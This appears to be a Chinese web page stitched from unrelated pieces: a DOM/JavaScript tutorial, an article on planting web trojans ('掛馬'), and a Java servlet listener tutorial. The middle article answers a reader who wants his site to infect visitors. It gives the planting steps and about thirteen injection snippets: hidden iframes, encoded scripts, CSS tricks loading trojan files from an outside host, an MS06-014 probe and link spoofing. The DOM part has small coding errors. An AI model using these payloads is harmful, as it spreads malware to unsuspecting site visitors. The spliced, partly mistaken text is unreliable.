<html>
<head>
<title>DOM 教程</title>
</head>
<body>
<h1>DOM 第一課</h1>
<p class="example">Hello world!</p>
<input name="myInput" type="text" size="20" /><br />
<h1 id="myHeader">This is a header</h1>
</body>
</html>
上面的 HTML 中:
<html> 節(jié)點(diǎn)沒有父節(jié)點(diǎn);它是根節(jié)點(diǎn)
<head> 和 <body> 的父節(jié)點(diǎn)是 <html> 節(jié)點(diǎn)
文本節(jié)點(diǎn) "Hello world!" 的父節(jié)點(diǎn)是 <p> 節(jié)點(diǎn)
并且:
<html> 節(jié)點(diǎn)擁有兩個(gè)子節(jié)點(diǎn):<head> 和 <body>
<head> 節(jié)點(diǎn)擁有一個(gè)子節(jié)點(diǎn):<title> 節(jié)點(diǎn)
<title> 節(jié)點(diǎn)也擁有一個(gè)子節(jié)點(diǎn):文本節(jié)點(diǎn) "DOM 教程"
<h1> 和 <p> 節(jié)點(diǎn)是同胞節(jié)點(diǎn), 同時(shí)也是 <body> 的子節(jié)點(diǎn)
并且:
<head> 元素是 <html> 元素的首個(gè)子節(jié)點(diǎn)
<body> 元素是 <html> 元素的最后一個(gè)子節(jié)點(diǎn)
<h1> 元素是 <body> 元素的首個(gè)子節(jié)點(diǎn)
<p> 元素是 <body> 元素的最后一個(gè)子節(jié)點(diǎn)
訪問(wèn)節(jié)點(diǎn):
var oLi=document.getElementsByTagName("li");
var oLi=document.getElementById("myHeader");
var oLi=document.getElementsByName("myInput"); //通過(guò)name屬性訪問(wèn)
querySelector訪問(wèn)方式: IE8開始支持, IE8以下不支持
var div=document.querySelector("#myHeader"); //通過(guò)id訪問(wèn)
var div=document.querySelector("li"); //通過(guò)標(biāo)簽訪問(wèn)
document.querySelector(".example"); //通過(guò)class屬性訪問(wèn)
獲取表單值
document.getElementById(id).value
querySelector() 方法返回文檔中匹配指定 CSS 選擇器的一個(gè)元素。
注意: querySelector() 方法僅僅返回匹配指定選擇器的第一個(gè)元素。
如果你需要返回所有的元素, 請(qǐng)使用 querySelectorAll() 方法替代。
利用父子兄關(guān)系查找節(jié)點(diǎn):
使用childNodes屬性
對(duì)象屬性
nodeName 返回當(dāng)前節(jié)點(diǎn)名字
元素節(jié)點(diǎn)的 nodeName 是標(biāo)簽名稱
屬性節(jié)點(diǎn)的 nodeName 是屬性名稱
文本節(jié)點(diǎn)的 nodeName 永遠(yuǎn)是 #text
文檔節(jié)點(diǎn)的 nodeName 永遠(yuǎn)是 #document
nodeValue 返回當(dāng)前節(jié)點(diǎn)的值, 僅對(duì)文本節(jié)點(diǎn)和屬性節(jié)點(diǎn)
對(duì)于文本節(jié)點(diǎn), nodeValue 屬性包含文本。
對(duì)于屬性節(jié)點(diǎn), nodeValue 屬性包含屬性值。
nodeValue 屬性對(duì)于文檔節(jié)點(diǎn)和元素節(jié)點(diǎn)是不可用的。
注意:nodeValue與tagName的區(qū)別對(duì)于空白節(jié)點(diǎn)的返回值:nodeValue返回null, tagName返回undefined
對(duì)于文本節(jié)點(diǎn)的返回值:nodeValue返回文本, tagName返回undefined
nodeType 檢測(cè)節(jié)點(diǎn)類型:
alert(document.nodeType);
元素節(jié)點(diǎn)的nodeType值為1; 標(biāo)簽名稱
屬性節(jié)點(diǎn)的nodeType值為2; 屬性名稱 屬性節(jié)點(diǎn)不能算是其元素節(jié)點(diǎn)的子節(jié)點(diǎn)
文本節(jié)點(diǎn)的nodeType值為3; #text
注釋(Comment) 8: #comment
文檔(Document) 9 #document <HTML>
文檔類型(DocumentType) 10: <!DOCTYPE HTML PUBLIC"...">
節(jié)點(diǎn) nodeType nodeName nodeValue
元素節(jié)點(diǎn) 1 大寫的標(biāo)簽名 null
屬性節(jié)點(diǎn) 2 屬性名 屬性值
文本節(jié)點(diǎn) 3 #text 文本值
tagName 返回標(biāo)簽的名稱, 僅對(duì)元素節(jié)點(diǎn)
parentNode 返回當(dāng)前節(jié)點(diǎn)的父節(jié)點(diǎn), 如果存在的話
childNodes 返回當(dāng)前節(jié)點(diǎn)的子節(jié)點(diǎn)集合
firstChild 對(duì)標(biāo)記的子節(jié)點(diǎn)集合中第一個(gè)節(jié)點(diǎn)的引用, 如果存在的話
lastChild 對(duì)標(biāo)記的子節(jié)點(diǎn)集合中最后一個(gè)節(jié)點(diǎn)的引用, 如果存在的話
previousSibling 對(duì)同屬一個(gè)父節(jié)點(diǎn)的前一個(gè)兄弟節(jié)點(diǎn)的引用
nextSibling 對(duì)同屬一個(gè)父節(jié)點(diǎn)的下一個(gè)兄弟節(jié)點(diǎn)的引用
Attributes 返回當(dāng)前節(jié)點(diǎn)(標(biāo)記)屬性的列表 用于XML文件
ownerDocument 返回節(jié)點(diǎn)所屬的根元素
一些 DOM 對(duì)象方法
getElementById() 返回帶有指定 ID 的元素。
getElementsByTagName() 返回包含帶有指定標(biāo)簽名稱的所有元素的節(jié)點(diǎn)列表(集合/節(jié)點(diǎn)數(shù)組)。
getElementsByName() 返回包含帶有指定類名的所有元素的節(jié)點(diǎn)列表。
appendChild() 把新的子節(jié)點(diǎn)添加到指定節(jié)點(diǎn)。
removeChild() 刪除子節(jié)點(diǎn)。
replaceChild() 替換子節(jié)點(diǎn)。
insertBefore() 在指定的子節(jié)點(diǎn)前面插入新的子節(jié)點(diǎn)。
createAttribute() 創(chuàng)建屬性節(jié)點(diǎn)。
createElement() 創(chuàng)建元素節(jié)點(diǎn)。
createTextNode() 創(chuàng)建文本節(jié)點(diǎn)。
getAttribute() 返回指定的屬性值。
setAttribute() 把指定屬性設(shè)置或修改為指定的值。
刪除、替換、插入子節(jié)點(diǎn)必須通過(guò)父節(jié)點(diǎn)的removeChild()方法來(lái)完成的
createAttribute() 創(chuàng)建屬性節(jié)點(diǎn)
var att=document.createAttribute("class");
att.value="democlass";
document.getElementsByTagName("H1")[0].setAttributeNode(att);
以上代碼可以簡(jiǎn)化為
document.getElementsByTagName("H1")[0].class="democlass";
createAttribute()結(jié)合setAttributeNode()使用
等同于:
document.getElementsByTagName("H1")[0].setAttributeNode("class", "democlass");
DOM獲取所有子節(jié)點(diǎn):
<html>
<head>
<title>childNodes</title>
<script language="javascript">
function myDOMInspector(){
var oUl=document.getElementById("myList"); //獲取<ul>標(biāo)記
var DOMString="";
if(oUl.hasChildNodes()){ //判斷是否有子節(jié)點(diǎn)
var oCh=oUl.childNodes;
for(var i=0;i<oCh.length;i++) //逐一查找
DOMString +=oCh[i].nodeName + "\n";
}
alert(DOMString);
}
</script>
</head>
<body onload="myDOMInspector()">
<ul id="myList">
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li>板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
使用parentNode屬性:
<html>
<head>
<title>parentNode</title>
<script language="javascript">
function myDOMInspector(){
var myItem=document.getElementById("myDearFood");
alert(myItem.parentNode.tagName); //返回值為ul
}
</script>
</head>
<body onload="myDOMInspector()">
<ul>
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li id="myDearFood">板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
DOM的兄弟關(guān)系:
<html>
<head>
<title>Siblings</title>
<script language="javascript">
function myDOMInspector(){
var myItem=document.getElementById("myDearFood");
//訪問(wèn)兄弟節(jié)點(diǎn)
var nextListItem=myItem.nextSibling;
var preListItem=myItem.previousSibling;
alert(nextListItem.tagName +" "+ preListItem.tagName);
}
</script>
</head>
<body onload="myDOMInspector()">
<ul>
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li id="myDearFood">板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
編寫自定義函數(shù)解決Firefox等瀏覽器包含眾多的空格作為文本節(jié)點(diǎn)問(wèn)題。
<html>
<head>
<title>Siblings</title>
<script language="javascript">
function nextSib(node){
var tempLast=node.parentNode.lastChild;
//判斷是否是最后一個(gè)節(jié)點(diǎn),如果是則返回null
if(node==tempLast)
return null;
var tempObj=node.nextSibling;
//逐一搜索后面的兄弟節(jié)點(diǎn),直到發(fā)現(xiàn)元素節(jié)點(diǎn)為止
while(tempObj.nodeType!=1 && tempObj.nextSibling!=null)
tempObj=tempObj.nextSibling;
//三目運(yùn)算符,如果是元素節(jié)點(diǎn)則返回節(jié)點(diǎn)本身,否則返回null
return (tempObj.nodeType==1)?tempObj:null;
}
function prevSib(node){
var tempFirst=node.parentNode.firstChild;
//判斷是否是第一個(gè)節(jié)點(diǎn),如果是則返回null
if(node==tempFirst)
return null;
var tempObj=node.previousSibling;
//逐一搜索前面的兄弟節(jié)點(diǎn),直到發(fā)現(xiàn)元素節(jié)點(diǎn)為止
while(tempObj.nodeType!=1 && tempObj.previousSibling!=null)
tempObj=tempObj.previousSibling;
return (tempObj.nodeType==1)?tempObj:null;
}
function myDOMInspector(){
var myItem=document.getElementById("myDearFood");
//獲取后一個(gè)元素兄弟節(jié)點(diǎn)
var nextListItem=nextSib(myItem);
//獲取前一個(gè)元素兄弟節(jié)點(diǎn)
var preListItem=prevSib(myItem);
alert("后一項(xiàng):" + ((nextListItem!=null)?nextListItem.firstChild.nodeValue:null) + " 前一項(xiàng):" + ((preListItem!=null)?preListItem.firstChild.nodeValue:null) );
}
</script>
</head>
<body onload="myDOMInspector()">
<ul>
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li id="myDearFood">板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
注意:最新版的IE瀏覽器也包含眾多的空格作為文本節(jié)點(diǎn);
設(shè)置節(jié)點(diǎn)屬性:
getAttribute()方法和setAttibute()方法
<html>
<head>
<title>getAttribute()</title>
<script language="javascript">
function myDOMInspector(){
//獲取圖片
var myImg=document.getElementsByTagName("img")[0];
//獲取圖片title屬性
alert(myImg.getAttribute("title")); //也可以用myImg.title獲取屬性值
}
</script>
</head>
<body onload="myDOMInspector()">
<img src="01.jpg" title="情人坡" />
</body>
</html>
<html>
<head>
<title>setAttribute()</title>
<script language="javascript">
function changePic(){
//獲取圖片
var myImg=document.getElementsByTagName("img")[0];
//設(shè)置圖片src和title屬性
myImg.setAttribute("src","02.jpg"); //可以在屬性節(jié)點(diǎn)不存在時(shí),添加節(jié)點(diǎn)的屬性值;
myImg.setAttribute("title","紫荊公寓"); //也可以通過(guò)myImg.title="紫荊公寓";
}
</script>
</head>
<body>
<img src="01.jpg" title="情人坡" onclick="changePic()" />
</body>
</html>
setAttribute()設(shè)置HTML標(biāo)簽的屬性
oTable.setAttribute("border", "3"); //為表格邊框設(shè)置寬度
oTable.setAttribute("border", 3);
oTable.setAttribute("border", "3px"); //經(jīng)過(guò)測(cè)試, 此種寫法也正確
建議: 具體格式參照HTML屬性值的語(yǔ)法格式
setAttibute()設(shè)置行內(nèi)樣式
obj.setAttribute("style", "position:absolute;left:200px;top:200px");
注意:具體格式參考CSS樣式的語(yǔ)法格式
setAttibute()設(shè)置事件屬性
obj.setAttribute("onclick", "remove_img()"); //remove_img() 編寫自定義函數(shù), 這里不能使用自定義函數(shù)
注意:關(guān)于文本節(jié)點(diǎn)兼容性
元素節(jié)點(diǎn)
子節(jié)點(diǎn): childNodes children
首尾子節(jié)點(diǎn): firstChild firstElementChild
lastChild lastElementChild
兄弟節(jié)點(diǎn): nextSibling nextElementSibling
previousSibling previousElementSibling
childNodes firstChild lastChild nextSibling previousSibling屬性IE6-IE8版本瀏覽器不會(huì)返回空白節(jié)點(diǎn),
IE9以上版本瀏覽器會(huì)返回文本節(jié)點(diǎn), W3C瀏覽器(包括火狐瀏覽器)也會(huì)返回文本節(jié)點(diǎn)
children firstElementChild lastElementChild nextElementSibling previousElementSibling 只返回元素節(jié)點(diǎn), 不會(huì)返回空白節(jié)點(diǎn)
注意: DOM操作必須保住DOM節(jié)點(diǎn)必須存在, 當(dāng)然也包括使用css樣式display:none隱藏的DOM節(jié)點(diǎn), 否則會(huì)導(dǎo)致js語(yǔ)法錯(cuò)誤;
言
最近整理了一些奇安信&華為&深信服大佬的課件資料+大廠面試課題,想要的可以私信自取,無(wú)償贈(zèng)送給粉絲朋友~
今天,有一位網(wǎng)友問(wèn)了我一個(gè)問(wèn)題,他自己已經(jīng)有了網(wǎng)站了,現(xiàn)在他想做成“掛馬”這種網(wǎng)站,只要打開它,電腦就有可能感染木馬病毒。
木馬是需要觸發(fā)才有效果的,觸發(fā)條件:要么欺騙用戶主動(dòng),要么利用漏洞。可能他對(duì)木馬、掛馬、網(wǎng)馬這些不是很理解,因此我特意發(fā)了此篇文章。
1、掛馬
從“掛馬”這個(gè)詞中就知道,它和“木馬”脫離不了關(guān)系,的確,掛馬的目的就是將木馬傳播出去。
黑客入侵了一些網(wǎng)站之后,將自己編定的網(wǎng)頁(yè)木馬嵌入到其網(wǎng)站的頁(yè)面(通常是在網(wǎng)站主頁(yè))中,利用該網(wǎng)站的流量將自己的網(wǎng)頁(yè)木馬傳播出去從而達(dá)到自己的目的。
2、網(wǎng)馬
網(wǎng)馬,即“網(wǎng)頁(yè)木馬”,就是將木馬和網(wǎng)頁(yè)結(jié)合在一起,當(dāng)打開網(wǎng)頁(yè)的時(shí)候就會(huì)自動(dòng)下載并運(yùn)行其木馬程序。
最初的網(wǎng)頁(yè)木馬就是利用了IE瀏覽器的ActiveX控件,在運(yùn)行網(wǎng)頁(yè)木馬的時(shí)候會(huì)彈出一個(gè)控件下載提示,只有經(jīng)過(guò)用戶確認(rèn)后才會(huì)運(yùn)行其中的木馬。
目前新型的木馬通常利用IE瀏覽器存在的漏洞來(lái)傳播網(wǎng)頁(yè)木馬。
當(dāng)然,現(xiàn)在瀏覽器不僅僅是指IE,還有很多其它的瀏覽器,例如:谷歌、百度、360、搜狗、QQ、火狐瀏覽器......等等。
1、申請(qǐng)網(wǎng)站空間:將木馬程序和網(wǎng)馬全部上傳到該網(wǎng)站空間,使其可以被訪問(wèn),假如申請(qǐng)成功后的網(wǎng)站空間地址為“http://www.xxx.com/xxx”;
2、上傳木馬程序:上傳完成后木馬的訪問(wèn)地址為“http://www.xxx.com/horse.exe”;
3、使用網(wǎng)頁(yè)木馬生成器生成網(wǎng)馬:假如生成后網(wǎng)馬地址為“http://www.xxx.com/horse.htm”;
4、進(jìn)行掛馬:將生成后的網(wǎng)馬地址嵌入到其他正常的網(wǎng)站頁(yè)面,假如嵌入到騰訊的主頁(yè)“http://www.qq.com/index.htm”;
1、框架掛馬
<iframe src=地址 width=0 height=0></iframe>
2、JS文件掛馬
首先將以下代碼:
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存為xxx.js。
則JS掛馬代碼為:
<script language=javascript src=xxx.js></script>
3、JS變形加密
<SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>
muma.txt可改成任意后綴;
4、body掛馬
<body onload="window.location='地址';"></body>
5、隱蔽掛馬
top.document.body.innerHTML=top.document.body.innerHTML + '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';
6、css掛馬
body {
background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}
7、JAJA掛馬
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
8、圖片偽裝
<html>
<iframe src="網(wǎng)馬地址" height=0 width=0></iframe>
<img src="圖片地址"></center>
</html>
9、偽裝調(diào)用
<frameset rows="444,0" cols="*">
<frame src="打開網(wǎng)頁(yè)" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="網(wǎng)馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
10、高級(jí)欺騙
<a href="http://www.163.com(迷惑連接地址,顯示這個(gè)地址指向木馬地址)" onMouseOver="www_163_com(); return true;"> 頁(yè)面要顯示的內(nèi)容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="網(wǎng)馬地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
11、判斷系統(tǒng)代碼
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") !=-1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
12、判斷是否有ms06014代碼
<script language=VBScript>
on error resume next
set server=document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File=server.createobject(Adodb.Stream,"")
if Not Err.Number=0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
13、智能讀取js的代碼demo
//讀娶src的對(duì)象
var v=document.getElementById("advjs");
//讀娶src的參數(shù)
var u_num=getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"https://www.fujieace.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//分析src的參數(shù)函數(shù)
function getUrlParameterAdv(asName,lsURL){
loU=lsURL.split("?");
if (loU.length>1){
var loallPm=loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm=loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
文章來(lái)源公眾號(hào):程哥講安全
ervletRequestAttributeListener:
馬克- to-win:馬克 java社區(qū):防盜版實(shí)名手機(jī)尾號(hào): 73203。
ServletRequestAttributeListener能監(jiān)測(cè)到有人正在往ServletRequest里添加屬性。你可以采取相應(yīng)的措施。
例 2.2.6.1
package com;
import javax.servlet.ServletRequestAttributeEvent;
import javax.servlet.ServletRequestAttributeListener;
public class MyServletRequestAttributeListener implements ServletRequestAttributeListener {
public void attributeAdded(ServletRequestAttributeEvent arg0) {
System.out.println("增加了" + arg0.getName() + " " +
arg0.getValue() );
}
public void attributeRemoved(ServletRequestAttributeEvent arg0) {
System.out.println("去除了" + arg0.getName() + " " +
arg0.getValue() );
}
public void attributeReplaced(ServletRequestAttributeEvent arg0) {
System.out.println("取代了" + arg0.getName() + " " +
arg0.getValue()+"現(xiàn)在的新值是"+arg0.getServletRequest().getAttribute(arg0.getName()) );
}
}
web.xml加入下面這段話:
<listener>
<listener-class>com.MyServletRequestAttributeListener</listener-class>
</listener>
用下面這個(gè)servlet測(cè)試:
package com;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ServletHello1 extends HttpServlet {
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
System.out.println("add attribute");
request.setAttribute("name", "馬克-to-win");
System.out.println("replace attribute");
request.setAttribute("name", "mark-to-win");
System.out.println("remove attribute");
request.removeAttribute("name");
}
篇幅有限更多請(qǐng)見擴(kuò)展鏈接:
http://www.mark-to-win.com/tutorial/jsp_6_ServletRequestAttributeListener.html
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。